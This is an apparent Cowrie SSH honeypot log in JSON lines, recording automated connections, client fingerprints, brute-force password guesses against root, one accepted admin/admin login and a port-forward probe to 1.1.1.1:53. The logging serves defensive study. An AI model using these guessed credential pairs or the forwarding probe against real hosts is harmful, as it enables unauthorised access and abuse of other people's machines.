{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:09.901313Z","src_ip":"103.149.28.157","session":"a143e47e4abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bearshare","message":"login attempt [root/bearshare] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:10.672215Z","src_ip":"103.149.28.157","session":"a143e47e4abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:11.918420Z","src_ip":"103.149.28.157","session":"a143e47e4abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21452,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b3a2776656","protocol":"ssh","message":"New connection: 87.251.64.176:21452 (10.17.0.5:22) [session: c8b3a2776656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.292066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.297234Z","src_ip":"87.251.64.176","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.392563Z","src_ip":"87.251.64.176","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.677643Z","src_ip":"87.251.64.176","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.777159Z","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.872867Z","src_ip":"87.251.64.176","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:13.970274Z","src_ip":"87.251.64.176","session":"c8b3a2776656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60834,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ffaa0834486","protocol":"ssh","message":"New connection: 147.45.199.80:60834 (159.203.135.109:22) [session: 6ffaa0834486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:47.727383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:47.732452Z","src_ip":"147.45.199.80","session":"6ffaa0834486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:48.027780Z","src_ip":"147.45.199.80","session":"6ffaa0834486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23011985","message":"login attempt [root/23011985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:48.315819Z","src_ip":"147.45.199.80","session":"6ffaa0834486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:34:49.415914Z","src_ip":"147.45.199.80","session":"6ffaa0834486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b0fc0be36e","protocol":"ssh","message":"New connection: 103.176.20.57:42902 (10.17.0.5:22) [session: d7b0fc0be36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:14.185915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:14.190412Z","src_ip":"103.176.20.57","session":"d7b0fc0be36e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:14.444424Z","src_ip":"103.176.20.57","session":"d7b0fc0be36e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160686","message":"login attempt [root/160686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:15.207431Z","src_ip":"103.176.20.57","session":"d7b0fc0be36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:16.465153Z","src_ip":"103.176.20.57","session":"d7b0fc0be36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"24948cfa4cf8","protocol":"ssh","message":"New connection: 103.98.149.87:53668 (10.17.0.5:22) [session: 24948cfa4cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:19.778589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:19.796691Z","src_ip":"103.98.149.87","session":"24948cfa4cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:20.088539Z","src_ip":"103.98.149.87","session":"24948cfa4cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nazarov","message":"login attempt [root/nazarov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:21.392869Z","src_ip":"103.98.149.87","session":"24948cfa4cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:23.053674Z","src_ip":"103.98.149.87","session":"24948cfa4cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":40276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c590bbcaf612","protocol":"ssh","message":"New connection: 103.189.234.9:40276 (10.17.0.5:22) [session: c590bbcaf612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:41.250835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:41.255601Z","src_ip":"103.189.234.9","session":"c590bbcaf612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:41.489611Z","src_ip":"103.189.234.9","session":"c590bbcaf612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd@1234","message":"login attempt [root/Asd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:42.457237Z","src_ip":"103.189.234.9","session":"c590bbcaf612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:35:43.693975Z","src_ip":"103.189.234.9","session":"c590bbcaf612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60592,"dst_ip":"159.203.135.109","dst_port":22,"session":"69828a6e6c7b","protocol":"ssh","message":"New connection: 103.122.221.179:60592 (159.203.135.109:22) [session: 69828a6e6c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:28.188004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:28.192413Z","src_ip":"103.122.221.179","session":"69828a6e6c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:28.450117Z","src_ip":"103.122.221.179","session":"69828a6e6c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1977","message":"login attempt [root/mama1977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:29.223519Z","src_ip":"103.122.221.179","session":"69828a6e6c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:30.484406Z","src_ip":"103.122.221.179","session":"69828a6e6c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a42e151d32","protocol":"ssh","message":"New connection: 87.251.79.125:57410 (159.203.135.109:22) [session: 02a42e151d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:45.864050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:45.869358Z","src_ip":"87.251.79.125","session":"02a42e151d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:45.990426Z","src_ip":"87.251.79.125","session":"02a42e151d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d538db05020","protocol":"ssh","message":"New connection: 62.133.63.178:57096 (159.203.135.109:22) [session: 7d538db05020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:46.343320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:46.347793Z","src_ip":"62.133.63.178","session":"7d538db05020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monalisa","message":"login attempt [root/monalisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:46.351889Z","src_ip":"87.251.79.125","session":"02a42e151d32","protocol":"ssh"}
